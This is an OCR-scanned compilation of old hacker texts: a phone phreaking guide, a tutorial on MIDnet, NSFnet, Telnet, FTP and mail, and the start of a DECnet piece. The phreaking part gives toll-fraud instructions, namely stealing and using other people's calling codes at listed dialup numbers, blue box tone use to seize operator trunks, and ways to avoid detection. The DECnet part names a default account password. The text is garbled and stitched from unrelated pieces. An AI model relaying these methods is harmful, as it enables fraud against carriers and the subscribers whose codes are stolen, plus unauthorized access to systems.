that any certain code was dialed from along with the number that was called and print both of these on the customer bill. 

2.dialups [see Dialups below] are all designed just to use ANI. Some of the services do not have the proper equipment to read the ANI 
impulses yet, but it is impossible to see which is which without being busted or not busted first. 

Dialups [dyTups]: 

1. Any local or 800 extended outlet that allows instant access to any service such as MCI, Sprint, or AT&T that from there can be 

used by hand-picking or using a program to reveal other peoples codes which can then be used moderately until they find out 
about it and you must switch to another code (preferably before they find out about it.) 

2. Dialups are extremely common on both senses. Some dialups reveal the company that operates them as soon as you hear the 

tone. Others are much harder and some you may never be able to identify. A small list of dialups: 
1 -800-421 -9438 (5 digit codes) 
1-800-547-6754 (6 digit codes) 
1-800-345-0008 (6 digit codes) 
1-800-734-3478 (6 digit codes) 
1 -800-222-2255 (5 digit codes) 

S.Codes: Codes are very easily accessed procedures when you call a dialup. They will give you some sort of tone. If the tone does 
not end in 3 seconds, then punch in the code and immediately following the code, the number you are dialing but strike the '1' in 
the beginning out first. If the tone does end, then punch in the code when the tone ends. Then, it will give you another tone. 
Punch in the number you are dialing, or a '9'. If you punch in a '9' and the tone stops, then you messed up a little. If you punch in 
a tone and the tone continues, then simply dial then number you are calling without the '1 '. 

4.AII codes are not universal. The only type that I know of that is truly universal is Metrophone. Almost every major city has a local 
Metro dialup (for Philadelphia, (215)351-0100/0126) and since the codes are universal, almost every phreak has used them 
once or twice. They do not employ ANI in any outlets that I know of, so feel free to check through your books and call 555-1212 
or, as a more devious manor, subscribe yourself. Then, never use your own code. That way, if they check up on you due to 
your caller log, they can usually find out that you are subscribed. Not only that but you could set a phreak hacker around that 
area and just let it hack away, since they usually group them, and, as a bonus, you will have their local dialup. 

5.950's. They seem like a perfectly cool phreakers dream. They are free from your house, from payphones, from everywhere, and 
they host all of the major long distance companies (950)1044 <MCI>, (950)1077 <Sprint>, 950-1088 <S+ylines>, 950-1033 <US 
Telecom>.) Well, they aren't. They were designed for ANI. That is the point, end of discussion. 

A phreak dictionary. If you remember all of the things contained on that file up there, you may have a better chance of doing whatever it is 
you do. This next section is maybe a little more interesting... 

Blue Box Plans: 

These are some blue box plans, but first, be warned, there have been 2600hz tone detectors out on operator trunk lines since XB4. The idea 
behind it is to use a 2600hz tone for a few very naughty functions that can really make your day lighten up. But first, here are the plans, or the 
heart of the file: 
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Stop! Before you diehard users start piecing those little tone tidbits together, there is a simpler method. If you have an Apple-Cat with a program 

like Cat's Meow IV, then you can generate the necessary tones, the 2600hz tone, the KP tone, the KP2 tone, and the ST tone through the dial 
section. So if you have that I will assume you can boot it up and it works, and I'll do you the favor of telling you and the other users what to do 
with the blue box now that you have somehow constructed it. The connection to an operator is one of the most well known and used ways of 
having fun with your blue box. You simply dial a TSPS (Traffic Service Positioning Station, or the operator you get when you dial '0') and blow 
a 2600hz tone through the line. Watch out! Do not dial this direct! After you have done that, it is quite simple to have fun with it. Blow a KP tone 
to start a call, a ST tone to stop it, and a 2600hz tone to hang up. Once you have connected to it, here are some fun numbers to call with it: 



0-700-456-1000 Teleconference (free, because you are the operator!) 
(Area code)- 1 01 Toll Switching 
(Area code)- 121 Local Operator (hehe) 
(Area code)-131 Information 
(Area code)- 141 Rate & Route 
(Area code)- 181 Coin Refund Operator 

(Area code)- 1 151 1 Conference operator (when you dial 800-544-6363) 



Well, those were the tone matrix controllers for the blue box and some other helpful stuff to help you to start out with. But those are only the 
functions with the operator. There are other k-fun things you can do with it. 



More advanced Blue Box Stuff: 

Oops. Small mistake up there. I forgot tone lengths. Dm, you blow a tone pair out for up to 1/10 of a second with another 1/10 second for 
silence between the digits. KP tones should be sent for 2/10 of a second. One way to confuse the 2600hz traps is to send pink noise over the 
channel (for all of you that have decent BSR equalizers, there is major pink noise in there.) 



Using the operator functions is the use of the 'inward' trunk line. That is working it from the inside. From the 'outward' trunk, you can do such 
things as make emergency breakthrough calls, tap into lines, busy all of the lines in any trunk (called 'stacking'), enable or disable the TSPS's, 
and for some 4a systems you can even re-route calls to anywhere. 

All right. The one thing that every complete phreak guide should be without is blue box plans, since they were once a vital part of phreaking. 
Another thing that every complete file needs is a complete listing of all of the 800 numbers around so you can have some more fun. 



/-/ 800 Dialup Listings /-/ 



1-800-345-0008(6) 
1-800-24S4890(4) 
1-800-526-5305(8) 
1-800-437-9895 (7) 
1-800-343-1844(4) 
1-800-437-3478(6) 



1 -800-547-6754 (6) 
1-800-327-9136 (4) 
1 -800-858-9000 (3) 
1 -800-245-7508 (5) 
1-800-322-1415 (6) 
1 -800-325-7222 (6) 



All right, set Cat Hacker 1 .0 on those numbers and have a fuck of a day. That is enough with 800 codes, by the time this gets around to you I 
don't know what state those codes will be in, but try them all out anyways and see what you get. On some 800 services now, they have an 
operator who will answer and ask you for your code, and then your name. Some will switch back and forth between voice and tone 
verification, you can never be quite sure which you will be up against. 

Armed with this knowledge you should be having a pretty good time phreaking now. But class isn't over yet, there are still a couple important 
rules that you should know. If you hear continual clicking on the line, then you should assume that an operator is messing with something, 
maybe even listening in on you. It is a good idea to call someone back when the phone starts doing that. If you were using a code, use a 
different code and/or service to call him back. 



A good way to detect if a code has gone bad or not is to listen when the number has been dialed. If the code is bad you will probably hear the 
phone ringing more clearly and more quickly than if you were using a different code. If someone answers voice to it then you can immediately 
assume that it is an operative for whatever company you are using. The famed '311311' code for Metro is one of those. You would have to be 
quite stupid b actually respond, because whoever you ask for the operator will always say 'He's not in right now, can I have him call you 
back?' and then they will ask for your name and phone number. Some of the more sophisticated companies will actually give you a carrier on a 
line that is supposed to give you a carrier and then just have garbage flow across the screen like it would with a bad connection. That is a 
feeble effort to make you think that the code is still working and maybe get you to dial someone's voice, a good test for the carrier trick is to dial 
a number that will give you a carrier that you have never dialed with that code before, that will allow you to determine whether the code is 
good or not. For our next section, a lighter look at some of the things that a phreak should not be without. A vocabulary. 

A few months ago, it was a quite strange world for the modem people out there. But now, a phreaker's vocabulary is essential if you wanna 
make a good impression on people when you post what you know about certain subjects. 



/-/ Vocabulary /-/ 

- Do not misspell except certain exceptions: 

phone -> tone 
freak -> phreak 

- Never substitute 'z's for 's's. (i.e. codez -> codes) 

- Never leave many characters after a post (i.e. Hey Dudes!#!@#@!#!@) 

- NEVER use the 'W prefix (k-kool, k-rad, k-whatever) 

- Do not abbreviate. (I got lotsa wares w/ docs) 



- Never substitute '0' for 'o' (rOdent, lOzer). 



- Forget about ye old upper case, it looks ruggyish. 



All right, that was to relieve the tension of what is being drilled into your minds at the moment. Now, however, back to the teaching course. 
Here are some things you should know about phones and billings for phones, etc. 

LATA: Local Access Transference Area. Some people who live in large cities or areas may be plagued by this problem. For instance, let's say 
you live in the 215 area code under the 542 prefix (Ambler, Fort Washington). If you went to dial In a basic Metro code from that area, for 
instance, 351 -01 00, that might not be counted under unlimited local calling because it is out of your LATA. For some LATA's, you have to dial a 
'1 ' without the area code before you can dial the phone number. That could prove a hassle for us all if you didn't realize you would be billed for 
that sort of call. In that way, sometimes, it is better to be safe than sorry and phreak. 

The Caller Log: In ESS regions, for every household around, the phone company has something on you called a Caller Log. This shows every 
single number lhat you dialed, and things can be arranged so it showed every number that was calling to you. That's one main disadvantage of 
ESS, it is mostly computerized so a number scan could be done like that quite easily. Using a dialup is an easy way to screw that, and is 
something worth remembering. Anyways, with the caller log, they check up and see what you dialed. Hmm... you dialed 15 different 800 
numbers that month. Soon they find that you are subscribed to none of those companies. But that is not the only thing. Most people would 
imagine "But wait! 800 numbers don't show up on my phone bill!". To those people, it is a nice thought, but 800 numbers are picked up on the 
caller log until right before they are sent off to you. So they can check right up on you before they send it away and can note the fact that you 
fucked up slightly and called one too many 800 lines. 

Right now, after all of that, you should have a pretty good idea of how to grow up as a good phreak. Follow these guidelines, don't show off, 
and don't take unnecessary risks when phreaking or hacking. 
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Prologue 

If you are not already familiar with NSFnet, I would suggest that you read: "Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13), and 
definitely; "NSFnet: National Science Foundation Network" (Phrack Inc., Volume Three, Issue 26, File 4 of 1 1). 

Introduction 

MIDNET is a regional computer network that is part of the NSFnet, the National 
Science Foundation Network. Currently, eleven mid- United States universities 
are connected to each other and to the NSFnet via MIDnet: 

UA - University of Arkansas at Fayetteville 

ISU - Iowa State University at Ames 

Ul - University of Iowa at Iowa City 

KSU - Kansas State University at Manhattan 

KU - University of Kansas at Lawrence 

UMC- University of Missouri at Columbia 

WU - Washington University at St. Louis, Missouri 

UNL- University of Nebraska at Lincoln 

OSU - Oklahoma State University at Stillwater 

UT - University of Tulsa (Oklahoma) 

OU - University of Oklahoma at Norman 

Researchers at any of these universities that have funded grants can access the 
six supercomputer centers funded by the NSF: 

John Von Neuman Supercomputer Center 
National Center for Atmospheric Research 
Cornell National Supercomputer Facility 
National Center for Supercomputing Applications 
Pittsburgh Supercomputing Center 
San Diego Supercomputing Center 

In addrtion, researchers and scientists can communicate with each other over a vast world-wide computer network that includes the NSFnet, 
ARPAnet, CSnet, BITnet, and others that you have read about in The Future Transcendent Saga. Please refer to "Frontiers" (Phrack Inc., 
Volume Two, Issue 24, File 4 of 13) for more details. 

MIDnet is just one of several regional computer networks that comprise the NSFnet system. Although all of these regional computer networks 
work the same, MIDnet is the only one that I have direct access to and so this file is written from a MIDnet point of view. For people who have 
access to the other regional networks of NSFnet, the only real differences depicted in this file that would not apply to the other regional 
networks are the universities that are served by MIDnet as opposed to: 



NYSERnet in New York State 

SURAnet in the southeastern United States 

SEQSUInet in Texas 

BARRnet in the San Francisco area 

IVIERIT in IVIichigan 

(There are others that are currently being constructed.) 

These regional networks all hook hto the NSFnet backbone, which is a network that connects the six supercomputer centers. For example, a 
person at Kansas State University can connect with a supercomputer via MIDnet and the NSFnet backbone. That researcher can also send 
mail to colleagues at the University of Delaware by using MIDnet, NSFnet and SURAnet. Each university has its own local computer network 
which connects on-campus computers as well as providing a means to connecting to a regional network. 

Some universities are already connected to older networks such as CSnet, the ARPAnet and BITnet. In principal, any campus connected to 
any of these networks can access anyone else in any other network since there are gateways between the networks. 

Gateways are specialized computers that forward network traffic, thereby connecting networks. In practice, these wide-area networks use 
different networking technology which make it impossible to provide full functionality across the gateways. However, mail is almost universally 
supported across all gateways, so that a person at a BITnet site can send mail messages to a colleague at an ARPAnet site (or anywhere else 
for that matter). You should already be somewhat familiar with this, but if not refer to; "Limbo To Infinity" (Phrack Inc., Volume Two, Issue 24, 
File 3 of 13) and "Internet Domains" (Phrack Inc., Volume Three, Issue 26, File 8 of 1 1) 

Computer networks rely on hardware and software that allow computers to communicate. The language that enables network communication 
is called a protocol. There are many different protocols in use today. MIDnet uses the TCP/IP protocols, also known as the DOD (Department 

of Defense) Protocol Suite. 

Other networks that use TCP/IP include ARPAnet, CSnet and the NSFnet. In fact, all the regional networks that are linked to the NSFnet 
backbone are required to use TCP/IP. At the local campus level, TCP/IP is often used, although other protocols such as IBM's SNA and DEC'S 
DECnet are common. In order to communicate with a computer via MIDnet and the NSFnet, a computer at a campus must use TCP/IP directly or 
use a gateway that will translate its protocols into TCP/IP. 

The Internet is a world-wide computer network that is the conglomeration of most of the large wide area networks, including ARPAnet, CSnet, 
NSFnet, and the regionals, such as MIDnet. To a lesser degree, other networks such as BITnet that can send mail to hosts on these networks 
are included as part of the Internet. This huge network of networks, the Internet, as you have by now read all about in the pages of Phrack 
Inc., is a rapidly growing and very complex entity that allows sophisticated communication between scientists, students, government officials 
and others. Being a part of this community is both exciting and challenging. 

This chapter of the Future Transcendent Saga gives a general description of the protocols and software used in MIDnet and the NSFNet. A 
discussion of several of the more commonly used networking tools is also included to enable you to make practical use of the network as soon 
as possible. 

The DOD Protocol Suite 

The DOD Protocol Suite includes many different protocols. Each protocol is a specification of how communication is to occur between 
computers. Computer hardware and software vendors use the protocol to create programs and sometimes specialized hardware in order to 
implement the network function intended by the protocol. Different implementations of the same protocol exist for the varied hardware and 

operating systems found in a network. 

The three most commonly used network functions are: 

Mail - Sending and receiving messages 
File Transfer - Sending and receiving files 
Remote Login - Logging into a distant computer 

Of these, mail is probably the most commonly used. 

In the TCP/IP world, there are three different protocols that realize these 
functions: 

SMTP - (Simple Mail Transfer Protocol) Mail 

FTP - (File Transfer Protocol) sending and receiving files 

Telnet ~ Remote login 

How to use these protocols is discussed in the next section. At first glance, it is not obvious why these three functions are the most common. 
After all, mail and file transfer seem to be the same thing. However, mail messages are not identical to files, since they are usually comprised 
of only ASCII characters and are sequential in structure. Files may contain binary data and have complicated, non-sequential structures. Also, 
mail messages can usually tolerate some errors in transmission whereas files should not contain any errors. Finally, file transfers usually 



occur in a secure setting (i.e. The users who are transferring files l<now each other's names and passwords and are permitted to transfer the 
file, whereas mail can be sent to anybody as long as their name is known). 

While mail and transfer accomplish the transfer of raw information from one computer to another, Telnet allows a distant user to process that 
information, either by logging in to a remote computer or by linking to another terminal. Telnet is most often used to remotely log in to a distant 
computa, but it is actually a general-purpose communications protocol. I have found it incredibly useful over the last year. In some ways, it 
could be used for a great deal of access because you can directly connect to another computer anywhere that has TCP/IP capabilities, 
however please note that Telnet is *NOT* Telenet. There are other functions that some networks provide, including the following: 

• Name to address translation for networks, computers and people 

• The current time 

• Quote of the day or fortune 

• Printing on a remote printer, or use of any other remote peripheral 

• Submission of batch jobs for non-interactive execution 

• Dialogues and conferencing between multiple users 

• Remote procedure call (i.e. Distributing program execution over several remote computers) 

• Transmission of voice or video information 

Some of these functions are still in the experimental stages and require faster computer networks than currently exist. In the future, new 
functions will undoubtedly be invented and existing ones improved. 

The DOD Protocol Suite is a layered network architecture, which means that network functions are performed by different programs that work 
independently and in harmony with each other. Not only are there different programs but there are different protocols. The protocols SMTP, 
FTP and Telnet are described above. Protocols have been defined for getting the current time, the quote of the day, and for translating names. 
These protocols are called applications protocols because users directly interact with the programs that implement these protocols. 

The Transmission Control Protocol, TCP, is used by many of the application protocols. Users almost never interact with TCP directly. TCP 
establishes a reliable end-to-end connection between two processes on remote computers. Data is sent through a network in small chunks 
called packets to improve reliability and performance. TCP ensures that packets arrive in order and without errors. If a packet does have 
errors, TCP requests that the packet be retransmitted. 

In tirn, TCP calls upon IP, Internet Protocol, to move the data from one network to another. IP is still not the lowest layer of the architecture, 
since there is usually a "data link layer protocol" below it. This can be any of a number of different protocols, two very common ones being 

X.25 and Ethernet. 

FTP, Telnet and SMTP are called "application protocols", since they are directly used by applications programs that enable users to make use of 
the network. Network applications are the actual programs that implement these protocols and provide an interface between the user and the 
computer. An implementation of a network protocol is a program or package of programs that provides the desired network function such as 
file transfer. Since computers differ from vendor to vendor (e.g. IBM, DEC, CDC), each computer must have its own implementation of these 

protocols. However, the protocols are standardized so that computers can interpolate over the network (i.e. Can understand and process 
each other's data). For example, a TCP packet generated by an IBM computer can be read and processed by a DEC computer. 

In many instances, network applications programs use the name of the protocol. For example, the program that transfers files may be called 
"FTP" and the program that allows remote logins may be called "Telnet." Sometimes these protocols are incorporated into larger packages, as is 
common with SMTP. Many computers have mail programs that allow users on the same computer to send mail to each other. SMTP functions 
are often added to these mail programs so that users can also send and receive mail through a network. In such cases, there is no separate 
program called SMTP that the user can access, since the mail program provides the user interface to this network function. 

Specific implementation of network protocols, such as FTP, are tailored to the computer hardware and operating system on which they are 
used. Therefore, the exact user interface varies from one implementation to another. For example, the FTP protocol specifies a set of FTP 
commands which each FTP implementation must understand and process. However, these are usually placed at a low level, often invisible to 
the user, who is given a higher set of commands to use. 

These higher-level commands are not standardized so they may vary from one implementation of FTP to another. For some operating systems, 
not all of these commands make equal sense, such as "Change Directory," or may have different meanings. Therefore the specific user 
interface that the user sees will probably differ. 

This file describes a generic implementation of the standard TCP/IP application protocols. Users must consult local documentation for specifics 
at their sites. 

Names and Addresses In A Network 

In DOD Protocol Suite, each network is given a unique identifying number. This number is assigned by a central authority, namely the Network 
Information Center run by SRI, abbreviated as SRI-NIC, in order to prevent more than one network from having the same network number. For 
example, the ARPAnet has network number 10 while MIDnet has a longer number, namely 128.242. Each host in a network has a unique 
identification so other hosts can specify them unambiguously. Host numbers are usually assigned by the organization that manages the 



network, rather than one central authority. Host numbers do not need to be unique throughout the whole Internet but two hosts on the same 
network need to have unique host numbers. 



The combination of the network number and the host number Is called the IP address of the host and is specified as a 32-bit binary number. All 
IP addresses In the Internet are expressible as 32-blt numbers, although they are often written in dotted decimal notation. Dotted decimal 
notation breaks the 32-blt number Into four eight-bit parts or octets and each octet Is specified as a decimal number. For example, 00000001 is 
the binary octet that specifies the decimal number 1 , while 1 1 000000 specifies 1 92. Dotted decimal notation makes IP addresses much easier to 

read and remember. 



Computers In the Internet are also Identified by hostnames, which are strings of characters, such as "phrackvax." However, IP packets must 
specify the 32-bit IP address Instead of the hostname so some way to translating hostnames to IP addresses must exist. 

One way Is to have a table of hostnames and their corresponding IP addresses, called a hosttable. Nearly every TCP/IP implementation has 

such a hosttable, although the weaknesses of this method are forcing a shift to a new scheme called the domain name system. In UNIX 
systems, the hosttable Is often called "/etc/hosts." You can usually read this file and find out what the IP addresses of various hosts are. 
either systems may call this file by a different name and make it unavailable for public viewing. 



Users of computers are generally given accounts to which all charges for computer use are billed. Even If computer time Is free at an 
installation, accounts are used to distinguish between the users and enforce file protections. The generic term "username" will be used In this 
file to refer to the name by which the computer account is accessed. 



In the early days of the ARPAnet which was the first network to use the TCP/IP protocols, computer users were identified by their username, 
followed by a commercial "at" sign (@), followed by the hostname on which the account existed. Networks were not given names, per se, 

although the IP address specified a network number. 

For example, "knlght@phrackvax" referred to user "knight" on host "phrackvax." This did not specify which network "phrackvax" was on, 
although that information could be obtained by examining the hosttable and the IP address for "phrackvax." (However, "phrackvax" is a 
fictitious hostname used for this presentation.) 

As time went on, every computer on the network had to have an entry In Its hosttable for every other computer on the network. When several 
networks linked together to form the Internet, the problem of maintaining this central hosttable got out of hand. Therefore, the domain name 
scheme was Introduced to spilt up the hosttable and make It smaller and easier to maintain. 

In the new domain name scheme, users are still Identified by their usernames, but hosts are now Identified by their hostname and any and all 
domains of which they are a part. For example, the address "KNIGHT@UMCVMB.MISSOURI.EDU" specifies usemame "KNIGHT" on host 
"UMCVMB". However, host "UMCVMB" Is a part of the domain "MISSOURI" " which is In turn part of the domain "EDU". There are other domains 
in "EDU", although only one is named "MISSOURI". In the domain "MISSOURI", there is only one host named "UMCVMB". 

However, other domains In "EDU" could theoretically have hosts named "UMCVMB" (although I would say that this Is rather unlikely In this 
example). Thus the combination of hostname and all Its domains makes it unique. The method of translating such names Into IP addresses is 
no longer as stralghtfonward as looking up the hostname in a table. Several protocols and specialized network software called nameservers 
and resolvers Implement the domain name scheme. 

Not all TCP/IP Implementations support domain names because It Is rather new. In those cases, the local hosttable provides the only way to 
translate hostnames to IP addresses. The system manager of that computer will have to put an entry into the hosttable for every host that 
users may want to connect to. In some cases, users may consult the nameserver themselves to find out the IP address for a given hostname 
and then use that IP address directly instead of a hostname. 

I have selected a few network hosts to demonstrate how a host system can be specified by both the hostname and host numerical address. 
Some of the nodes I have selected are also nodes on BITnet, perhaps even some of the others that I do not make a note of due a lack of 
omniscient awareness about each and every single host system in the world :-) 



Numerical BITnet 

18.72.0.39 

26.0.0.73 

36.21.0.13 

36.21.0.60 

128.2.11.131 

128.3.254.13 

128.6.4.7 

128«9.99.1 

128.102.18.3 

128.103.1.1 

128.111.24.40 

128.115.14.1 



Hostname 

ATHENA.MITEDU 

SRI-NIC.ARPA 

MACBETH.STANFORD.EDU 

PORTIA.STANFORD.EDU 

ANDREW.CMU.EDU 

LBL.GOV 

RLrrGERS.RUTGERS.EDU 

CUCARD.MED.COLUMBIAEDU 

AMES.ARC.NASA.GOV 

HARVARD.EDU 

HUB.UCSB.EDU 

LLL-WINKEN.LLNL.GOV 



Location 

Mass. Institute of Technology MIT 
DDN Network Information Center - 
Stanford University ? 
Stanford University ? 
Camegie Mellon Univ. ANDREW 
Lawrence Berkeley Labrotorles LBL 
Rutgers University ? 
Columbia University ? 
Ames Research Center [NASA] - 
Harvard University HARVARD 
Univ. Of Santa Barbara ? 
Lawrence Livermore Labratories - 



128. 
128. 
128. 
128. 
128. 
128. 
128. 
128. 
129. 
131. 
192. 
192. 
192. 



143.2.7 
.148.128.40 



UVAARPA.VIRGINIA.EDU 

BROWNVM.BROWN.EDU 

UKCXi.UKY.EDU 

NSSDCA.GSFC.NASA.GOV 

RAI.CC.FSU.EDU 

UMCVMB.MISSOURI.EDU 

MAX.ACS.WASHINGTON.EDU 

CUNYVM.CUNY.EDU 

NUHUB.ACS.NORTHEASTERN.EDU 

UMRVMA.UMR.EDU 

SUN.COM 

VM1.N0DAK.EDU 

PU\INS.NODAK.EDU 



University of Virginia ? 

Brown University BROWN 

University of Kentucky UKCC 

Goddard Space Flight Center [NASA]- 

Florida State University FSU 

Univ. of MissouriColumbia UMCVMB 

University of Washington MAX 

City University of New Yorl< CUNYVM 

Nortfieastern University NUHUB 

University of Missouri Rolla UMRVMA 

Sun Microsystems, Inc. - 

North Dakota State Univ. NDSUVM1 

North Dakota State Univ. NDSUVAX 



.163.1 « 
.183.10.4 
.186.4.18 
.206.1.1 
.208.1.15 
.228.12 
.10.1.6 
.151.1.4 
.9.9.1 



.33.18.30 
.33.18«0 



Please Note: Not every system on BITnet has an IP address. Likewise, not every system that has an IP address is on BITnet. Also, while 
some locations like Stanford University may have nodes on BITnet and have hosts on the IP as well, this does not necessarily imply that the 
systems on BITnet and on IP (the EDU domain in this case) are the same systems. 

Attempts to gain unauthorized access to systems on the internet are not tolerated and is legally a federal offense. At some hosts, they take 
this very seriously, especially the government hosts such as NASA's Goddard Space Flight Center, where they do not mind telling you so at 
the main prompt when you connect to their system. 

However, some nodes are public access to an extent. The DDN Network Information Center can be used by anyone. The server and database 
there have proven to be an invaluable source of information when locating people, systems, and other information that is related to the Internet. 

Telnet 

Remote login refers to logging in to a remote computer from a terminal connected to a local computer. Telnet is the standard protocol in the DOD 
Protocol Suite for accomplishing this. The "riogin" program, provided with Berkeley UNIX systems and some other systems, also enables 
remote login. 

For purposes of discussion, the "local computer" is the computer to which your terminal is directly connected while the "remote computer" is 
the computer on the network to which you are communicating and to which your terminal is *NOT* directly connected. 

Since some computers use a different method of attaching terminals to computers, a better definition would be the following: The "local 
computer" is the computer that you are currently using and the "remote computer" is the computer on the network with which you are or will be 
communicating. Note that the terms "host" and "computer" are synonymous in the following discussion. 

To use Telnet, simply enter the command: TELNET 

The prompt that Telnet gives is: Telnet> 

(However, you can specify where you want to Telnet to immediately and bypass the prompts and other delays by issuing the command: 
TELNET [location].) 

There is help available by typing in ?. This prints a list of all the valid 
subcommands that Telnet provides with a one-line explanation. 



To connect to another computer, use the open subcommand to open a connection 
to that computer. For example, to connect to the host "UMCVMB.MISSOURI.EDU", 
do "open umcvmb.missouri.edu" 

Telnet will resolve (i.e. Translate, the hostname "umcvmb.missouri.edu" into an 
IP address and will send a packet to that host requesting login. If the remote 

host decides to let you attempt a login, it prompts you for your username and password. If the host does not respond. Telnet will "time out" (i.e. 
Wait for a reasonable amount of time such as 20 seconds) and then terminate with a message such as "Host not responding." 

If your computer does not have an entry for a remote host in its hosttable and it cannot resolve the name, you can use the IP address explicitly 
in the telnet command. For example, 

TELNET 26.0.0.73 (Note: This is the IP address for the DDN Network Information Center [SRI-NIC.ARPA]) 



Telnet> ? 



If you are successful in logging in, your terminal is connected to the remote host. For all intents and purposes, your terminal is directly hard- 
wired to that host and you should be able to do anything on your remote terminal that you can do at any local terminal. There are a few 
exceptions to this rule, however. 

Telnet provides a network escape character, such as CONTROL-T. You can find out what the escape character is by entering the "status" 
subcommand: 

Telnet> status 

You can change the escape character by entering the "escape" subcommand; 
Telnet> escape 

When you type in the escape character, the Telnet prompt returns to your screen and you can enter subcommands. For example, to break the 
connection, which usually logs you off the remote host, enter the subcommand "quit"; 

Telnet> quit 

Your Telnet connection usually breaks when you log off the remote host, so the "quit" subcommand is not usually used to log off. 

When you are logged in to a remote computer via Telnet, remember that there is a time delay between your local computer and the remote one. 
This often becomes apparent to users when scrolling a long file across the terminal screen and they wish to cancel the scrolling by typing 
CONTTROL-C or something similar. After typing the special control character, the scrolling continues. The special control character takes a 
certain amount of time to reach the remote computer which is still scrolling information. Thus response from the remote computer will not likely 
be as quick as response from a local computer. Once you are remotely logged on, the computer you are logged on to effectively becomes your 
"local computer," even though your original "local computer" still considers you logged on. You can log on to a third computer which would 
then become your "local computer" and so on. As you log out of each session, your previous session becomes active again. 

File Transfer 

FTP is the program that allows files to be sent from one computer to another. 
"FTP" stands for "File Transfer Protocol". 

When you start using FTP, a communications channel with another computer on the network is opened. For example, to start using FTP and 
initiate a file transfer session with a computer on the network called "UMCVMB", you would issue the following subcommand; 

FTP UMCVMB.MISSOURI.EDU 

Host "UMCVMB" will prompt you for an account name and password. If your login is correct, FTP will tell you so, othenwise it will say "login 
incorrect." Try again or abort the FTP program. (This is usually done by typing a special control character such as CONTROL-C. The "program 
abort" character varies from system to system.) 

Next you will see the FTP prompt, which is; 

Ftp> 

There are a number of subcommands of FTP. The subcommand "7" will list these commands and a brief description of each one. 

You can initiate a file transfer in either direction with FTP, either from the remote host or to the remote host. The "get" subcommand initiates a 
file transfer from the remote host (i.e. Tells the remote computer to send the file to the local computer [the one on which you issued the "ftp" 
command]). Simply enter "get" and FTP will prompt you for the remote host's file name and the (new) local host's file name. Example; 

Ftp> get 

Remote file name? 
theirfile 

local file name? 
myfile 

You can abbreviate this by typing both file names on the same line as the "get" subcommand. If you do not specify a local file name, the new 
local file will be called the same thing as the remote file. Valid FTP subcommands to get a file include the following; 

get theirfile myfile 
getdoc.x25 



The "put" subcommand works in a similar fasliion and is used to send a file from the local computer to the remote computer. Enter the command 
"put" and FTP will prompt you for the local file name and then the remote file name. If the transfer cannot be done because the file doesn't exist 
or for some other reason, FTP will print an error message. 

There are a number of other subcommands in FTP that allow you to do many more things. Not all of these are standard so consult your local 
documentation or type a question mark at the FTP prompt. Some functions often built into FTP include the ability to look at files before getting or 
putting them, the ability to change directories, the ability to delete files on the remote computer, and the ability to list the directory on the remote 

host. 

An intriguing capability of many FTP implementations is "third party transfers." For example, if you are logged on computer A and you want to 
cause computer B to send a file to computer C, you can use FTP to connect to computer B and use the "rmtsend" command. Of course, you 
have to know usernames and passwords on all three computers, since FTP never allows you to peek into someone's directory and files 
unless you know their username and password. 

The "cd" subcommand changes your working directory on the remote host. The "led" subcommand changes the directory on the local host. For 
UNIX systems, the meaning of these subcommands is obvious. Other systems, especially those that do not have directory-structured file 
system, may not implement these commands or may implement them in a different manner. 

The "dir" and "Is" subcommands do the same thing, namely list the files in the working directory of the remote host. 

The "list" subcommand shows the contents of a file without actually putting it into a file on the local computer. This would be helpful if you just 
wanted to inspect a file. You could interrupt it before it reached the end of the file by typing CONTROL-C or some other special character. This 
is dependent on your FTP implementation. 

The "delete" command can delete files on the remote host. You can also make and remove directories on the remote host with "mkdir" and 
"rmdir". The "status" subcommand will tell you if you are connected and with whom and what the state of all your options are. 

If you are transferring binary files or files with any non-printable characters, turn binary mode on by entering the "binary" subcommand: 

binary 

To resume non-binary transfers, enter the "ascii" subcommand. 

Transferrhg a number of files can be done easily by using "mput" (multiple put) and "mget" (multiple get). For example, to get every file in a 
particular directory, first issue a "cd" command to change to that directory and then a "mget" command with an asterisk to indicate every file: 

cd somedirectory 

mget * 

When you are done, use the "close" subcommand to break the communications link. You will still be in FTP, so you must use the "bye" 
subcommand to exit FTP and return to the command level. The "quit" subcorrmand will close the connection and exit from FTP at the same time. 

Mail 

Mail is the simplest network facility to use in many ways. All you have to do is to create your message, which can be done with a file editor or 
on the spur of the moment, and then send it. Unlike FTP and Telnet, you do not need to know the password of the username on the remote 
computer. This is so because you cannot change or access the files of the remote user nor can you use their account to run programs. All you 
can do is to send a message. 

There is probably a program on your local computer which does mail between users on that computer. Such a program is called a mailer. This 
may or may not be the way to send or receive mail from other computers on the network, although integrated mailers are more and more 
common. UNIX mailers will be used as an example in this discussion. 

Note that the protocol which is used to send and receive mail over a TCP/IP network is called SMTP, the "Simple Mail Transfer Protocol." 
Typically, you will not use any program called SMTP, but rather your local mail program. 

UNIX mailers are usually used by invoking a program named "mail". To receive new mail, simply type "mail". There are several varieties of UNIX 
mailers in existence. Consult your local documentation for details. For example, the command "man mail" prints out the manual pages for the mail 
program on your computer. 

To send mail, you usually specify the address of the recipient on the mail command. For example: "mail knight@umcvmb.missouri.edu" will send 
the following message to username "knight" on host "umcvmb". 

You can usually type in your message one line at a time, pressing RETURN after each line and typing CONTROL-D to end the message. Other 
facilities to include already-existing files sometimes exist. For example, Berkeley UNIX's allow you to enter commands similar to the following to 
include a file in your current mail message: 



r myfile 



In this example, the contents of "myfile" are inserted into the message at this point. 

Most UNIX systems allow you to send a file through the mail by using input redirection. For example: 

mail knight@umcvmb.missouri.edu < myfile 

In this example, the contents of "myfile" are sent as a message to "l<nighr on "umcvmb." 

Note that in many UNIX systems the only distinction between mail bound for another user on the same computer and another user on a remote 
computer is simply the address specified. That is, there is no hostname for local recipients. Othenwise, mail functions in exactly the same way. 
This is common for integrated mail packages. The system knows whether to send the mail locally or through the network based on the 
address and the user is shielded from any other details. 

"The Quest For Knowledge Is Without End..." 
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Prologue For None VMS Users 

DECnet is the network for DEC machines, in most cases you can say VAX's. DECnet allows you to do: 

• e-mail 

• file transfer 

• remote login 

• remote command 

• remote job entry 

• PHONE 

PHONE is an interactive communication between users and is equal to TALK on UNIX or a "deluxe"-CHAT on VM/CMS. 

BELWUE, the university network of the state Baden-Wuerttemberg in West Germany contains (besides other networks) a DECnet with about 
400 VAX's. On every VAX there is standard-account called DECNET with pw:= DECNET, which is not reachable via remote login. This account 
is provided for several DECnet-Utilities and as a pseudo-guest-account. The DECNET-account has very restricted privileges: You cannot edit a 
file or make another remote login. 

